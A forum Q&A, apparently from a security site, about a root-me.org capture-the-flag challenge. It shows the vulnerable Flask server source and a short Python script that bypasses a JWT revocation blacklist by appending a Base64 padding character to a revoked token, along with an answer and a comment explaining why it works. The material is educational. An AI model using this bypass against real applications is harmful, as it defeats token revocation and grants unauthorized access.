0

This is regarding a jwt challenge at root-me.org The webserver source code is available:

    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    from flask import Flask, request, jsonify
    from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
    import datetime
    #from apscheduler.schedulers.background import BackgroundScheduler
    import threading
    import jwt
    from config import *
     
    # Setup flask
    app = Flask(__name__)
     
    app.config['JWT_SECRET_KEY'] = SECRET
    jwtmanager = JWTManager(app)
    blacklist = set()
    lock = threading.Lock()
     
    # Free memory from expired tokens, as they are no longer useful
    def delete_expired_tokens():
        with lock:
            to_remove = set()
            global blacklist
            for access_token in blacklist:
                try:
                    jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
                except:
                    to_remove.add(access_token)
           
            blacklist = blacklist.difference(to_remove)
     
    @app.route("/web-serveur/ch63/")
    def index():
        return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"
     
    # Standard login endpoint
    @app.route('/web-serveur/ch63/login', methods=['POST'])
    def login():
        try:
            username = request.json.get('username', None)
            password = request.json.get('password', None)
        except:
            return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
     
        if username != 'admin' or password != 'admin':
            return jsonify({"msg": "Bad username or password"}), 401
     
        access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
        ret = {
            'access_token': access_token,
        }
       
        with lock:
            blacklist.add(access_token)
     
        return jsonify(ret), 200
     
    # Standard admin endpoint
    @app.route('/web-serveur/ch63/admin', methods=['GET'])
    @jwt_required
    def protected():
        access_token = request.headers.get("Authorization").split()[1]
        with lock:
            if access_token in blacklist:
                return jsonify({"msg":"Token is revoked"})
            else:
                return jsonify({'Congratzzzz!!!_flag:': FLAG})
     
     
    if __name__ == '__main__':
        scheduler = BackgroundScheduler()
        job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
        scheduler.start()
        app.run(debug=False, host='0.0.0.0', port=5000)

The solution is to add a padding character in the signature.

import requests

url = 'http://challenge01.root-me.org/web-serveur/ch63/'

response = requests.post(url+'login', json={"username":"admin", "password":"admin"})

#print(response.json()["access_token"])

response = requests.get(url+'admin', headers = {"Authorization": "Bearer %s=" %response.json()["access_token"]})
print(response.text)

I don't know why?, perhaps we only have to avoid being in blacklist; in such case addition or subtraction of any character would have worked but only padding works!

1 Answer 1

2

You cannot simply add or remove characters, because this would change the content of the JWT and make it invalid due to a signature mismatch. You need the same JWT content with a different encoding to bypass the blacklist.

As you already found out, the way to do this is to add Base64 padding characters. Those don't change the content but are sufficient to pass the blacklist check which naively compares the encoded representations instead of the contents. The RFCs for JWT and JWS actually use Base64 without padding, but the flask-jwt-extended library happily accepts padding regardless, so the attack is possible with this implementation.

1
  • This is a great example of two different common and serious problems in security: insufficient specification, and overly permissive parsers. If the developers of this app had been more specific about the behavior that they expected, they could have specified a format of tokens they wanted to block that wasn't subject to multiple valid encodings. Alternatively, if the developers of the library hadn't been willing to violate the specification in the name of "compatibility" with non-conformant implementations, blocking the entire token in encoded form would have still worked. Commented Oct 12 at 4:07

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.